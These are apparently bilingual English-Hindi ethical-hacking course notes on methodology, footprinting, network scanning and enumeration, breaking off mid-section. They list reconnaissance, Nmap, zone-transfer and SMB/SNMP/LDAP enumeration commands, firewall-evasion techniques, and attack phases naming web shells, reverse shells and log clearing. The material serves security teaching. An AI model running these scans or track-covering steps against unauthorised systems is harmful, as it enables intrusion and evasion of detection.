HITCOM - Educational Platform

1. Introduction to Ethical Hacking

English

Problem: Organisations face constant attacks from criminals, nation-states, and insiders. Traditional defences (firewalls, antivirus) catch known attacks only. To find weaknesses before attackers do, organisations need authorised professionals who think like attackers but work under legal and ethical rules. Without such testing, breaches are discovered only after the damage is done.
Definition: Ethical Hacking is the practice of using hacking techniques to identify and fix security vulnerabilities in systems, networks, and applications, with explicit legal permission from the owner. An ethical hacker (also called a white-hat hacker or penetration tester) follows a defined methodology, stays within an agreed scope, and reports findings responsibly.
Example: A bank hires a penetration testing firm to test its internet banking portal. The firm signs a legal agreement (scope, timing, rules of engagement), gets written authorisation, tests the portal in a controlled manner, and delivers a report with vulnerabilities and fixes — without ever accessing real customer funds.

Types:

Type	Description
White-hat	Authorised, legal, defensive. Reports to owner.
Black-hat	Unauthorised, illegal, malicious.
Grey-hat	Unauthorised but not malicious; often reports issues.
Red team	Offensive team simulating a real attack.
Blue team	Defensive team detecting and responding.
Purple team	Red + blue working together to improve defences.

Hacker classes: Script kiddies, hacktivists, insider threats, state-sponsored actors, cyber terrorists.

Advantages:
- Finds vulnerabilities before attackers do.
- Protects brand reputation and customer trust.
- Ensures regulatory compliance (ISO 27001, PCI-DSS, HIPAA).
- Reduces cost of breaches (fixing is cheaper than responding).
- Trains defenders through realistic exercises.
- Improves incident response readiness.
Disadvantages:
- Expensive and time-consuming.
- Can cause accidental outages if not careful.
- Tests capture only a point in time; new bugs appear later.
- Requires skilled professionals; hard to hire.
- Legal risks if scope is violated.
- False sense of security if scope is too narrow.
Characteristics:
- Authorised: Written permission is mandatory.
- Scoped: Boundaries of systems and time are clearly defined.
- Methodical: Follows a repeatable process.
- Documented: Every action is logged for the report.
- Ethical: Findings are reported confidentially, never misused.
- Defensive purpose: Aim is to strengthen, not harm.

Diagram: Hacker types and rules of engagement

    Hacker spectrum:

      WHITE-HAT  ── authorised ──▶  Defence
      GREY-HAT   ── unauthorised, non-malicious ──▶  Mixed
      BLACK-HAT  ── unauthorised, malicious ──▶  Attack

    Rules of Engagement (RoE):

      ┌──────────────────────────────────┐
      │  Scope (IPs, domains, apps)      │
      │  Time window                     │
      │  Allowed techniques              │
      │  Emergency contacts              │
      │  Legal authorisation (signed)    │
      │  Reporting format and timeline   │
      └──────────────────────────────────┘

Conclusion: Ethical hacking is the disciplined, legal use of offensive techniques for defensive purposes. It gives organisations visibility into their real risk posture and turns "unknown unknowns" into known, fixable issues. The line between ethical and criminal hacking is drawn by authorisation, scope, and intent. Every engagement must be backed by a signed contract, a defined scope, and a commitment to responsible disclosure. Ethical hacking is a career path spanning penetration testing, red teaming, bug bounty hunting, and security auditing.
Exercise:
1. Differentiate white-hat, grey-hat, and black-hat hackers with examples.
2. List five items that must be included in a Rules of Engagement document.
3. Explain why written authorisation is mandatory before testing.
4. List three regulations that require penetration testing for compliance.
5. Describe the roles of red, blue, and purple teams.

हिंदी (सरल)

समस्या: संगठनों पर लगातार criminals, nation-states और insiders के हमले होते हैं। Traditional defences (firewall, antivirus) सिर्फ ज्ञात हमले पकड़ते हैं। हमलावरों से पहले कमज़ोरियाँ ढूँढने के लिए authorised professionals चाहिए जो हमलावर की तरह सोचें पर legal और ethical rules के भीतर काम करें। ऐसी testing के बिना breaches बाद में पकड़ में आते हैं।
परिभाषा: Ethical Hacking hacking techniques use करके systems, networks और applications में security vulnerabilities identify और fix करने का practice है, मालिक की स्पष्ट legal permission के साथ। Ethical hacker (white-hat hacker या penetration tester) एक defined methodology follow करता है, agreed scope में रहता है, और findings responsibly report करता है।
उदाहरण: एक bank penetration testing firm hire करता है अपने internet banking portal के लिए। Firm legal agreement sign करती है (scope, timing, rules of engagement), written authorisation लेती है, controlled तरीके से portal test करती है, और vulnerabilities और fixes के साथ report देती है — बिना real customer funds access किए।

प्रकार:

प्रकार	विवरण
White-hat	Authorised, legal, defensive. Owner को report।
Black-hat	Unauthorised, illegal, malicious।
Grey-hat	Unauthorised पर malicious नहीं; अक्सर issues report करते हैं।
Red team	Offensive team real attack simulate करती है।
Blue team	Defensive team detect और respond करती है।
Purple team	Red + blue साथ काम करके defences सुधारते हैं।

Hacker classes: Script kiddies, hacktivists, insider threats, state-sponsored actors, cyber terrorists।

लाभ:
- Vulnerabilities हमलावरों से पहले ढूँढे।
- Brand reputation और customer trust।
- Regulatory compliance (ISO 27001, PCI-DSS, HIPAA)।
- Breach की लागत कम (fix, response से सस्ता)।
- Realistic exercises से defenders train।
- Incident response readiness बेहतर।
नुकसान:
- महँगा और समय लेने वाला।
- Careless होने पर accidental outages।
- Tests एक point-in-time capture करते हैं; नए bugs बाद में।
- Skilled professionals ढूँढना मुश्किल।
- Scope तोड़ने पर legal risks।
- बहुत narrow scope से false sense of security।
विशेषताएँ:
- Authorised: Written permission ज़रूरी।
- Scoped: Systems और time की boundaries clear।
- Methodical: Repeatable process।
- Documented: हर action report के लिए log।
- Ethical: Findings confidential, misuse नहीं।
- Defensive purpose: मकसद strengthen, harm नहीं।

आरेख: Hacker types और rules of engagement

    Hacker spectrum:

      WHITE-HAT  ── authorised ──▶  Defence
      GREY-HAT   ── unauthorised, non-malicious ──▶  Mixed
      BLACK-HAT  ── unauthorised, malicious ──▶  Attack

    Rules of Engagement (RoE):

      ┌──────────────────────────────────┐
      │  Scope (IPs, domains, apps)      │
      │  Time window                     │
      │  Allowed techniques              │
      │  Emergency contacts              │
      │  Legal authorisation (signed)    │
      │  Reporting format and timeline   │
      └──────────────────────────────────┘

निष्कर्ष: Ethical hacking offensive techniques का disciplined, legal use है defensive purpose के लिए। यह organisations को अपनी real risk posture की visibility देता है और "unknown unknowns" को known, fixable issues में बदलता है। Ethical और criminal hacking के बीच की लकीर authorisation, scope और intent से खिंचती है। हर engagement के पीछे signed contract, defined scope और responsible disclosure का commitment होना चाहिए। Ethical hacking एक career path है — penetration testing, red teaming, bug bounty hunting और security auditing।
अभ्यास:
1. White-hat, grey-hat और black-hat hackers उदाहरण के साथ differentiate कीजिए।
2. Rules of Engagement document में होने वाली पाँच चीज़ें list कीजिए।
3. Testing से पहले written authorisation क्यों ज़रूरी है समझाइए।
4. तीन regulations बताइए जो compliance के लिए penetration testing माँगती हैं।
5. Red, blue और purple teams की roles describe कीजिए।

2. Hacking Phases & Penetration Testing Methodology

English

Problem: Attacking a target without a methodology leads to missed vulnerabilities, noisy detection, and unverifiable results. Both attackers and defenders benefit from understanding the standard phases of an intrusion, so that testing is repeatable and defenders know where to place controls.
Definition: A penetration testing methodology is a structured sequence of phases followed during a security assessment. Standard phases: Reconnaissance → Scanning → Gaining Access → Maintaining Access → Covering Tracks. Professional frameworks formalise this as PTES, OSSTMM, OWASP Testing Guide, NIST SP 800-115, and MITRE ATT&CK.

Example: Attacking a web application:

1. Reconnaissance  → whois, subdomain enum, LinkedIn for employees
2. Scanning        → Nmap ports, Nikto, directory brute force
3. Gaining Access  → exploit SQLi or weak admin login
4. Maintaining     → web shell, reverse shell, cron persistence
5. Covering Tracks → clear auth.log, disable history
6. Reporting       → document, risk rating, remediation

Types:

Test Type	Knowledge Given	Realism
Black-box	None (like an outsider)	High
White-box	Full docs, source, credentials	Low; most thorough
Grey-box	Partial info	Balanced

Methodologies:

PTES – Penetration Testing Execution Standard.
OSSTMM – Open Source Security Testing Methodology Manual.
OWASP WSTG – Web Security Testing Guide.
NIST SP 800-115 – Technical Guide to Information Security Testing.
MITRE ATT&CK – Adversary tactics and techniques knowledge base.

Advantages:
- Repeatable, verifiable results.
- Coverage of all attack surfaces.
- Clear reporting for stakeholders.
- Defenders can map controls to each phase.
- Supports compliance and audit.
- Standard terminology across teams.
Disadvantages:
- Rigid methodology may miss novel attacks.
- Time-boxed phases may cut corners.
- Requires skilled testers to apply correctly.
- Costly in large environments.
- Point-in-time result; needs periodic re-testing.
Characteristics:
- Phases are iterative: You may go back during testing.
- Documentation throughout: Notes, screenshots, commands.
- Rules of engagement apply at every phase.
- Scope boundaries respected.
- Reporting is the final deliverable.

Diagram: Five phases of hacking

   ┌────────────────────┐
   │ 1. Reconnaissance  │
   └──────────┬─────────┘
              ▼
   ┌────────────────────┐
   │ 2. Scanning        │
   └──────────┬─────────┘
              ▼
   ┌────────────────────┐
   │ 3. Gaining Access  │
   └──────────┬─────────┘
              ▼
   ┌────────────────────┐
   │ 4. Maintaining     │
   └──────────┬─────────┘
              ▼
   ┌────────────────────┐
   │ 5. Covering Tracks │
   └──────────┬─────────┘
              ▼
   ┌────────────────────┐
   │ 6. Reporting       │
   └────────────────────┘

Conclusion: Following a recognised methodology turns penetration testing from a random hunt into a measurable engineering activity. Understanding the five phases helps testers ensure coverage and helps defenders place detection controls at each stage. Frameworks like PTES and OWASP provide the vocabulary and checklist. Every engagement should end with a clear, prioritised report that the business can act on.
Exercise:
1. List the five hacking phases and one activity in each.
2. Compare black-box, white-box and grey-box testing.
3. Name any three penetration testing methodologies.
4. Explain why documentation matters at every phase.
5. Give an example of MITRE ATT&CK technique for persistence.

हिंदी (सरल)

समस्या: बिना methodology target पर हमला करने से vulnerabilities छूट जाती हैं, detection noisy होती है, और results unverifiable रहते हैं। Attackers और defenders दोनों को intrusion के standard phases समझने का फायदा है ताकि testing repeatable हो और defenders जानें कहाँ controls लगाएँ।
परिभाषा: Penetration testing methodology security assessment के दौरान follow होने वाले phases का structured sequence है। Standard phases: Reconnaissance → Scanning → Gaining Access → Maintaining Access → Covering Tracks। Professional frameworks: PTES, OSSTMM, OWASP Testing Guide, NIST SP 800-115, और MITRE ATT&CK।

उदाहरण: Web application पर हमला:

1. Reconnaissance  → whois, subdomain enum, LinkedIn से employees
2. Scanning        → Nmap ports, Nikto, directory brute force
3. Gaining Access  → SQLi exploit या weak admin login
4. Maintaining     → web shell, reverse shell, cron persistence
5. Covering Tracks → clear auth.log, disable history
6. Reporting       → document, risk rating, remediation

प्रकार:

Test Type	Knowledge	Realism
Black-box	कुछ नहीं (outsider जैसा)	High
White-box	Full docs, source, credentials	Low; सबसे thorough
Grey-box	Partial info	Balanced

Methodologies:

PTES – Penetration Testing Execution Standard।
OSSTMM – Open Source Security Testing Methodology Manual।
OWASP WSTG – Web Security Testing Guide।
NIST SP 800-115 – Technical Guide to Information Security Testing।
MITRE ATT&CK – Adversary tactics और techniques knowledge base।

लाभ:
- Repeatable, verifiable results।
- सभी attack surfaces का coverage।
- Stakeholders के लिए clear reporting।
- Defenders हर phase पर controls map कर सकते हैं।
- Compliance और audit support।
- Teams में standard terminology।
नुकसान:
- Rigid methodology novel attacks miss कर सकती है।
- Time-boxed phases corners cut कर सकती हैं।
- Skilled testers चाहिए।
- बड़े environments में costly।
- Point-in-time result; periodic re-testing ज़रूरी।
विशेषताएँ:
- Phases iterative: Testing के दौरान पीछे जा सकते हैं।
- Documentation throughout: Notes, screenshots, commands।
- Rules of engagement हर phase पर।
- Scope boundaries respected।
- Reporting final deliverable।

आरेख: Hacking के पाँच phases

   ┌────────────────────┐
   │ 1. Reconnaissance  │
   └──────────┬─────────┘
              ▼
   ┌────────────────────┐
   │ 2. Scanning        │
   └──────────┬─────────┘
              ▼
   ┌────────────────────┐
   │ 3. Gaining Access  │
   └──────────┬─────────┘
              ▼
   ┌────────────────────┐
   │ 4. Maintaining     │
   └──────────┬─────────┘
              ▼
   ┌────────────────────┐
   │ 5. Covering Tracks │
   └──────────┬─────────┘
              ▼
   ┌────────────────────┐
   │ 6. Reporting       │
   └────────────────────┘

निष्कर्ष: Recognised methodology follow करने से penetration testing random hunt से measurable engineering activity बन जाती है। पाँच phases समझने से testers coverage सुनिश्चित करते हैं और defenders हर stage पर detection controls लगाते हैं। PTES और OWASP जैसे frameworks vocabulary और checklist देते हैं। हर engagement clear, prioritised report पर खत्म होना चाहिए जिस पर business action ले सके।
अभ्यास:
1. पाँच hacking phases और हर एक में एक activity list कीजिए।
2. Black-box, white-box और grey-box testing की तुलना कीजिए।
3. कोई तीन penetration testing methodologies name कीजिए।
4. हर phase पर documentation क्यों ज़रूरी है समझाइए।
5. Persistence के लिए MITRE ATT&CK technique का उदाहरण दीजिए।

3. Footprinting & Reconnaissance

English

Problem: Before touching a target, an attacker needs to know what it looks like from the outside: domain names, IP ranges, employee emails, technologies used, cloud providers, leaked documents. Skipping this step wastes time on the wrong targets and misses easy entry points like default admin pages, forgotten subdomains, or exposed backup files.
Definition: Footprinting (or reconnaissance) is the systematic collection of information about a target organisation without direct interaction (passive) or with limited interaction (active). It builds the map on which scanning and exploitation are planned.

Example: Passive and active footprinting:

Passive (no direct contact):
  whois example.com
  dig +short example.com
  nslookup -type=mx example.com
  theHarvester -d example.com -b google
  LinkedIn, GitHub, Shodan, Censys

Active (limited contact):
  DNS zone transfer attempt:
    dig axfr @ns.example.com example.com
  Ping sweep (nmap -sn 192.168.1.0/24)
  HTTP HEAD requests
  Web archives (Wayback Machine)

Types:

Category	Info Collected	Tools
DNS footprinting	A, MX, NS, TXT records; zone transfers	dig, nslookup, dnsrecon, fierce
Whois	Registrar, contacts, dates	whois, whoisxmlapi
Network	IP ranges, ASN, BGP	whois, bgp.he.net, Robtex
Search engines	Emails, subdomains, docs	Google dorks, Bing, Shodan
Social media	Employees, roles, org chart	LinkedIn, X (Twitter)
Web archives	Old pages, forgotten endpoints	Wayback Machine, archive.today
Email headers	Mail servers, IPs	Received headers
Competitive intel	Partners, acquisitions	Annual reports, news

Advantages:
- Maps attack surface without alerting the target.
- Reveals forgotten subdomains and staging servers.
- Identifies technologies and versions for tailoring attacks.
- Enables social engineering via employee info.
- Feeds targeted phishing and credential attacks.
- Cheap and mostly legal if public data is used.
Disadvantages:
- Public information may be outdated or misleading.
- Active footprinting can trigger IDS/IPS alerts.
- Time-consuming for large organisations.
- Requires OSINT skills and tool familiarity.
- Legal grey areas around some sources.
Characteristics:
- Passive first: No direct interaction; no logs on target.
- Then active: Careful, limited probes.
- OSINT driven: Public sources and search engines.
- Documented: Every finding recorded with source.
- Iterative: Findings drive more focused queries.

Diagram: Footprinting sources

        ┌──────────────────────────────────────┐
        │        FOOTPRINTING                  │
        └──────────────────────────────────────┘
            │                    │
      PASSIVE              ACTIVE
            │                    │
   ┌────────┴────────┐    ┌──────┴───────┐
   │ Whois           │    │ DNS zone     │
   │ DNS records     │    │ transfer     │
   │ Search engines  │    │ Ping sweep   │
   │ Social media    │    │ HTTP HEAD    │
   │ Shodan/Censys   │    │ Netcraft     │
   │ Web archives    │    │ WHOIS DB     │
   └─────────────────┘    └──────────────┘
            │                    │
            └────────┬───────────┘
                     ▼
              Attack surface map

Conclusion: Footprinting is the intelligence phase of hacking. Skipping it leads to noisy, ineffective attacks; doing it well reveals the path of least resistance. Passive techniques are safest and cheapest; active techniques must be used sparingly to avoid detection. Every finding — subdomain, email, technology, employee — becomes an input to scanning, social engineering, or exploitation. For defenders, footprinting your own organisation is the fastest way to discover what attackers already know about you.
Exercise:
1. Perform passive footprinting on a domain of your choice using whois and dig.
2. Use theHarvester to collect emails and subdomains (authorised target only).
3. Attempt a DNS zone transfer and explain why it should be disabled.
4. Use Google dorks to find indexable PDFs on a public site.
5. List three pieces of info a LinkedIn profile gives an attacker.

हिंदी (सरल)

समस्या: Target को छूने से पहले attacker को जानना चाहिए कि वह बाहर से कैसा दिखता है: domain names, IP ranges, employee emails, technologies, cloud providers, leaked documents। यह step छोड़ने पर गलत targets पर समय बर्बाद होता है और default admin pages, भूली हुई subdomains, exposed backup files जैसे easy entry points छूट जाते हैं।
परिभाषा: Footprinting (या reconnaissance) target organisation के बारे में information का systematic collection है — बिना direct interaction (passive) या limited interaction (active)। यह वह map बनाता है जिस पर scanning और exploitation plan होती है।

उदाहरण: Passive और active footprinting:

Passive (कोई direct contact नहीं):
  whois example.com
  dig +short example.com
  nslookup -type=mx example.com
  theHarvester -d example.com -b google
  LinkedIn, GitHub, Shodan, Censys

Active (limited contact):
  DNS zone transfer attempt:
    dig axfr @ns.example.com example.com
  Ping sweep (nmap -sn 192.168.1.0/24)
  HTTP HEAD requests
  Web archives (Wayback Machine)

प्रकार:

Category	Info	Tools
DNS footprinting	A, MX, NS, TXT records; zone transfers	dig, nslookup, dnsrecon, fierce
Whois	Registrar, contacts, dates	whois, whoisxmlapi
Network	IP ranges, ASN, BGP	whois, bgp.he.net, Robtex
Search engines	Emails, subdomains, docs	Google dorks, Bing, Shodan
Social media	Employees, roles, org chart	LinkedIn, X (Twitter)
Web archives	Old pages, forgotten endpoints	Wayback Machine, archive.today
Email headers	Mail servers, IPs	Received headers
Competitive intel	Partners, acquisitions	Annual reports, news

लाभ:
- Target को alert किए बिना attack surface map।
- भूली हुई subdomains और staging servers reveal।
- Technologies और versions से tailored attacks।
- Employee info से social engineering।
- Targeted phishing और credential attacks।
- Public data use हो तो सस्ता और mostly legal।
नुकसान:
- Public info outdated या misleading हो सकती है।
- Active footprinting IDS/IPS alerts trigger कर सकती है।
- बड़े organisations के लिए time-consuming।
- OSINT skills और tool familiarity चाहिए।
- कुछ sources पर legal grey areas।
विशेषताएँ:
- Passive पहले: कोई direct interaction नहीं; target पर logs नहीं।
- फिर active: Careful, limited probes।
- OSINT driven: Public sources और search engines।
- Documented: हर finding source के साथ।
- Iterative: Findings से focused queries।

आरेख: Footprinting sources

        ┌──────────────────────────────────────┐
        │        FOOTPRINTING                  │
        └──────────────────────────────────────┘
            │                    │
      PASSIVE              ACTIVE
            │                    │
   ┌────────┴────────┐    ┌──────┴───────┐
   │ Whois           │    │ DNS zone     │
   │ DNS records     │    │ transfer     │
   │ Search engines  │    │ Ping sweep   │
   │ Social media    │    │ HTTP HEAD    │
   │ Shodan/Censys   │    │ Netcraft     │
   │ Web archives    │    │ WHOIS DB     │
   └─────────────────┘    └──────────────┘
            │                    │
            └────────┬───────────┘
                     ▼
              Attack surface map

निष्कर्ष: Footprinting hacking का intelligence phase है। इसे छोड़ने से noisy, ineffective attacks होते हैं; अच्छे से करने पर least resistance का path मिलता है। Passive techniques सबसे safe और cheap हैं; active techniques sparingly use करें detection से बचने के लिए। हर finding — subdomain, email, technology, employee — scanning, social engineering या exploitation का input बनती है। Defenders के लिए, अपने organisation का footprinting सबसे तेज़ तरीका है यह जानने का कि attackers आपके बारे में क्या जानते हैं।
अभ्यास:
1. अपनी पसंद के domain पर whois और dig से passive footprinting कीजिए।
2. theHarvester से emails और subdomains collect कीजिए (सिर्फ authorised target)।
3. DNS zone transfer attempt कीजिए और बताइए यह disabled क्यों होना चाहिए।
4. Google dorks से public site पर indexable PDFs खोजिए।
5. LinkedIn profile से attacker को मिलने वाली तीन जानकारियाँ बताइए।

4. Scanning Networks

English

Problem: Knowing a company's IP range is not enough. An attacker must determine which hosts are alive, which ports are open, what services and versions are running, and which operating systems are in use. Only then can relevant exploits be chosen. Blindly attacking unknown hosts wastes time and triggers alerts.
Definition: Scanning is the active phase where the attacker probes the target network to discover live hosts, open ports, running services, their versions, and the underlying operating system. It uses techniques like TCP connect, SYN (half-open), FIN, XMAS, and UDP scans, plus banner grabbing and OS fingerprinting.

Example: Common Nmap scans:

# Host discovery (ping sweep, no port scan)
nmap -sn 192.168.1.0/24

# TCP SYN scan (stealth)
nmap -sS -p 1-1000 192.168.1.10

# Service + version detection
nmap -sV -sC 192.168.1.10

# OS detection
nmap -O 192.168.1.10

# Aggressive scan
nmap -A -T4 192.168.1.10

# Save output
nmap -oX scan.xml 192.168.1.10

Types:

A. Scan types:

Scan	Mechanism	Stealth
TCP Connect	Full 3-way handshake	Low (logged)
SYN (half-open)	SYN → SYN/ACK → RST	Medium
FIN / XMAS / NULL	No handshake; unusual flags	High (but many OS ignore)
ACK	Maps firewall rules	—
UDP	Connectionless; slow	Depends
Idle (zombie)	Uses a third host	Very high

B. Other techniques:

Banner grabbing: Read service banners (SSH, HTTP, FTP) to identify software and version.
OS fingerprinting: Active (send crafted packets) or passive (observe traffic).
Port knocking: Services hidden until a magic sequence.
Firewall evasion: Fragmentation, decoys, source-port spoofing.

Advantages:
- Maps exact attack surface (hosts, ports, services).
- Reveals outdated software and known CVEs.
- Guides exploit selection.
- Identifies network topology and firewalls.
- Automated and scalable with tools.
- Provides evidence for the final report.
Disadvantages:
- Noisy; easily detected by IDS/IPS.
- Can be slow, especially UDP scans.
- False positives / negatives with firewall filtering.
- Rate-limited by some targets.
- Risk of crashing fragile services with aggressive scans.
Characteristics:
- Active: Directly interacts with target.
- TCP/IP level: Works with flags, packets, and responses.
- Sequential and parallel: Tools run many probes concurrently.
- Timing matters: Slow scans are stealthy; fast ones are noisy.
- Ethical constraints: Only within scope and window.

Diagram: TCP three-way handshake and SYN scan

    Normal TCP handshake:

      Client  ─── SYN      ──▶  Server
              ◀── SYN/ACK  ───
              ─── ACK      ──▶  (connection open)

    SYN (half-open) scan:

      Scanner ─── SYN      ──▶  Target
              ◀── SYN/ACK  ───      (port open)
              ─── RST      ──▶  (no full connection)

      Or if closed:
              ◀── RST/ACK  ───      (port closed)

    Scan categories:

      Host discovery  → nmap -sn
      Port scan       → nmap -sS -p-
      Service detect  → nmap -sV
      OS detect       → nmap -O

Conclusion: Scanning turns footprinting's map into a precise picture of what is running on the network. It is the bridge between recon and exploitation: without it, attackers attack blind. Modern defenders monitor for SYN scans, banner grabs, and unusual TCP flags using IDS/IPS and network flow analysis. Testers must respect scope, rate limits, and any system that is fragile (e.g., SCADA, embedded devices). Nmap remains the de-facto standard, often combined with Masscan for very fast discovery.
Exercise:
1. Perform a ping sweep on a lab subnet and list live hosts.
2. Run a SYN scan on one host and compare with a TCP connect scan.
3. Use -sV to identify the version of an SSH server in your lab.
4. Explain how OS fingerprinting works.
5. List three firewall-evasion techniques.

हिंदी (सरल)

समस्या: Company का IP range जानना काफी नहीं। Attacker को पता करना होता है कौन से hosts live हैं, कौन से ports open हैं, कौन सी services और versions चल रही हैं, और कौन सा OS है। तभी relevant exploits चुने जा सकते हैं। Unknown hosts पर blind attack से समय बर्बाद और alerts trigger होते हैं।
परिभाषा: Scanning active phase है जहाँ attacker target network probe करके live hosts, open ports, running services, उनके versions और OS discover करता है। Techniques: TCP connect, SYN (half-open), FIN, XMAS, और UDP scans, साथ ही banner grabbing और OS fingerprinting।

उदाहरण: सामान्य Nmap scans:

# Host discovery (ping sweep, port scan नहीं)
nmap -sn 192.168.1.0/24

# TCP SYN scan (stealth)
nmap -sS -p 1-1000 192.168.1.10

# Service + version detection
nmap -sV -sC 192.168.1.10

# OS detection
nmap -O 192.168.1.10

# Aggressive scan
nmap -A -T4 192.168.1.10

# Save output
nmap -oX scan.xml 192.168.1.10

प्रकार:

A. Scan types:

Scan	Mechanism	Stealth
TCP Connect	पूरा 3-way handshake	Low (logged)
SYN (half-open)	SYN → SYN/ACK → RST	Medium
FIN / XMAS / NULL	Handshake नहीं; unusual flags	High (कई OS ignore)
ACK	Firewall rules map	—
UDP	Connectionless; slow	Depends
Idle (zombie)	तीसरा host use	Very high

B. अन्य techniques:

Banner grabbing: Service banners (SSH, HTTP, FTP) पढ़कर software और version।
OS fingerprinting: Active (crafted packets) या passive (traffic observe)।
Port knocking: Services छुपी जब तक magic sequence न हो।
Firewall evasion: Fragmentation, decoys, source-port spoofing।

लाभ:
- Exact attack surface map (hosts, ports, services)।
- Outdated software और known CVEs reveal।
- Exploit selection guide।
- Network topology और firewalls identify।
- Automated और scalable।
- Final report के लिए evidence।
नुकसान:
- Noisy; IDS/IPS से आसानी से detect।
- Slow, खासकर UDP scans।
- Firewall filtering से false positives/negatives।
- कुछ targets पर rate-limited।
- Aggressive scans से fragile services crash।
विशेषताएँ:
- Active: Target से सीधे interact।
- TCP/IP level: Flags, packets, responses।
- Sequential and parallel: Tools कई probes concurrently।
- Timing matters: Slow scans stealthy; fast noisy।
- Ethical constraints: सिर्फ scope और window में।

आरेख: TCP three-way handshake और SYN scan

    Normal TCP handshake:

      Client  ─── SYN      ──▶  Server
              ◀── SYN/ACK  ───
              ─── ACK      ──▶  (connection open)

    SYN (half-open) scan:

      Scanner ─── SYN      ──▶  Target
              ◀── SYN/ACK  ───      (port open)
              ─── RST      ──▶  (full connection नहीं)

      या closed पर:
              ◀── RST/ACK  ───      (port closed)

    Scan categories:

      Host discovery  → nmap -sn
      Port scan       → nmap -sS -p-
      Service detect  → nmap -sV
      OS detect       → nmap -O

निष्कर्ष: Scanning footprinting के map को network पर क्या चल रहा है इसकी precise तस्वीर में बदलता है। यह recon और exploitation के बीच bridge है: इसके बिना attackers blind attack करते हैं। Modern defenders SYN scans, banner grabs और unusual TCP flags पर IDS/IPS और network flow analysis से monitor करते हैं। Testers को scope, rate limits और fragile systems (जैसे SCADA, embedded devices) का सम्मान करना चाहिए। Nmap de-facto standard है, अक्सर Masscan के साथ very fast discovery के लिए।
अभ्यास:
1. Lab subnet पर ping sweep करके live hosts list कीजिए।
2. एक host पर SYN scan चलाकर TCP connect scan से compare कीजिए।
3. -sV से lab में SSH server का version identify कीजिए।
4. OS fingerprinting कैसे काम करता है समझाइए।
5. तीन firewall-evasion techniques list कीजिए।

5. Enumeration

English

Problem: Scanning tells you which ports are open, but not what is running behind them or who is on the network. Enumeration is the phase where attackers extract detailed information — usernames, shares, groups, services, DNS entries — that turns an open port into a credible attack path.
Definition: Enumeration is the phase after scanning where the attacker establishes active connections to services and queries them for specific information. Common targets: NetBIOS/SMB, SNMP, LDAP, NFS, DNS zone transfers, SMTP users, and web directories.

Example: Typical enumeration commands:

# SMB shares and users
smbclient -L //192.168.1.10 -N
enum4linux -a 192.168.1.10

# SNMP walk (community string public)
snmpwalk -c public -v1 192.168.1.10

# LDAP
ldapsearch -x -h 192.168.1.10 -b "dc=example,dc=com"

# DNS zone transfer
dig axfr @ns.example.com example.com

# Web directories
gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt

Types:

Protocol	Enumerated	Tools
NetBIOS / SMB	Hosts, shares, users, groups, policies	nmblookup, enum4linux, smbclient
SNMP	Devices, interfaces, users, routes	snmpwalk, snmp-check
LDAP	Users, groups, OUs	ldapsearch, JXplorer
NFS	Exported shares	showmount -e
DNS	Zone records, subdomains	dig, dnsrecon
SMTP	Valid users (VRFY, EXPN)	smtp-user-enum
Web	Directories, files, vhosts	gobuster, ffuf, dirb

Advantages:
- Provides concrete usernames for password attacks.
- Reveals misconfigured shares and default credentials.
- Identifies domain structure and trust relationships.
- Confirms services and software versions.
- Cheap and often unauthenticated.
- Provides evidence and prioritisation for the report.
Disadvantages:
- Very noisy; can trigger alarms.
- Requires protocol knowledge.
- Many modern systems disable verbose responses.
- Rate-limited or locked out on failures.
- Can be blocked by host firewalls.
Characteristics:
- Active: Establishes connections and queries services.
- Protocol-specific: Each service has its own enumeration technique.
- Interactive: Adaptive queries based on responses.
- Feeds attacks: Output directly used in exploitation.
- Part of footprinting too: Often overlaps with OSINT.

Diagram: Enumeration in the kill chain

    Footprinting → Scanning → [ ENUMERATION ] → Exploitation

    Information gathered:

      Users     ──▶ Password attacks
      Shares    ──▶ File extraction
      Policies  ──▶ Misconfiguration
      Services  ──▶ CVE lookup
      DNS       ──▶ Attack surface
      Web dirs  ──▶ Hidden endpoints

Conclusion: Enumeration transforms a port number into a knowledge base. Usernames and shares become credentials and files; group policies and services become misconfiguration findings. It is one of the noisiest phases, so testers usually throttle probes and avoid lockouts. For defenders, disabling legacy protocols (NetBIOS, SNMP v1/v2), restricting anonymous LDAP queries, and monitoring for enumeration patterns is essential. Enumeration is the phase that most directly determines the success of the following exploitation.
Exercise:
1. Use enum4linux against a lab Windows host and list shares.
2. Attempt an SNMP walk with the community string "public".
3. Perform a DNS zone transfer and explain the risk.
4. Use gobuster to find hidden directories on a lab web server.
5. Explain why VRFY/EXPN should be disabled on SMTP servers.

हिंदी (सरल)

समस्या: Scanning बताता है कौन से ports open हैं, पर क्या उनके पीछे चल रहा है या network पर कौन है नहीं। Enumeration वह phase है जहाँ attacker detailed information निकालता है — usernames, shares, groups, services, DNS entries — जो एक open port को credible attack path में बदलती है।
परिभाषा: Enumeration scanning के बाद का phase है जहाँ attacker services से active connections बनाकर specific information query करता है। Common targets: NetBIOS/SMB, SNMP, LDAP, NFS, DNS zone transfers, SMTP users, और web directories।

उदाहरण: सामान्य enumeration commands:

# SMB shares और users
smbclient -L //192.168.1.10 -N
enum4linux -a 192.168.1.10

# SNMP walk (community string public)
snmpwalk -c public -v1 192.168.1.10

# LDAP
ldapsearch -x -h 192.168.1.10 -b "dc=example,dc=com"

# DNS zone transfer
dig axfr @ns.example.com example.com

# Web directories
gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt

प्रकार:

Protocol	क्या enumerate होता है	Tools
NetBIOS / SMB	Hosts, shares, users, groups, policies	nmblookup, enum4linux, smbclient
SNMP	Devices, interfaces, users, routes	snmpwalk, snmp-check
LDAP	Users, groups, OUs	ldapsearch, JXplorer
NFS	Exported shares	showmount -e
DNS	Zone records, subdomains	dig, dnsrecon
SMTP	Valid users (VRFY, EXPN)	smtp-user-enum
Web	Directories, files, vhosts	gobuster, ffuf, dirb

लाभ:
- Password attacks के लिए concrete usernames।
- Misconfigured shares और default credentials reveal।
- Domain structure और trust relationships।
- Services और versions confirm।
- सस्ता और अक्सर unauthenticated।
- Report के लिए evidence और prioritisation।
नुकसान:
- बहुत noisy; alarms trigger।
- Protocol knowledge चाहिए।
- Modern systems verbose responses disable कर देते हैं।
- Failures पर rate-limited या lockout।
- Host firewalls block कर सकती हैं।
विशेषताएँ:
- Active: Connections बनाकर services query।
- Protocol-specific: हर service की अपनी technique।
- Interactive: Responses के हिसाब से queries।
- Feeds attacks: Output exploitation में use।
- Footprinting से overlap: OSINT के साथ।

आरेख: Kill chain में Enumeration

    Footprinting → Scanning → [ ENUMERATION ] → Exploitation

    जो जानकारी मिलती है:

      Users     ──▶ Password attacks
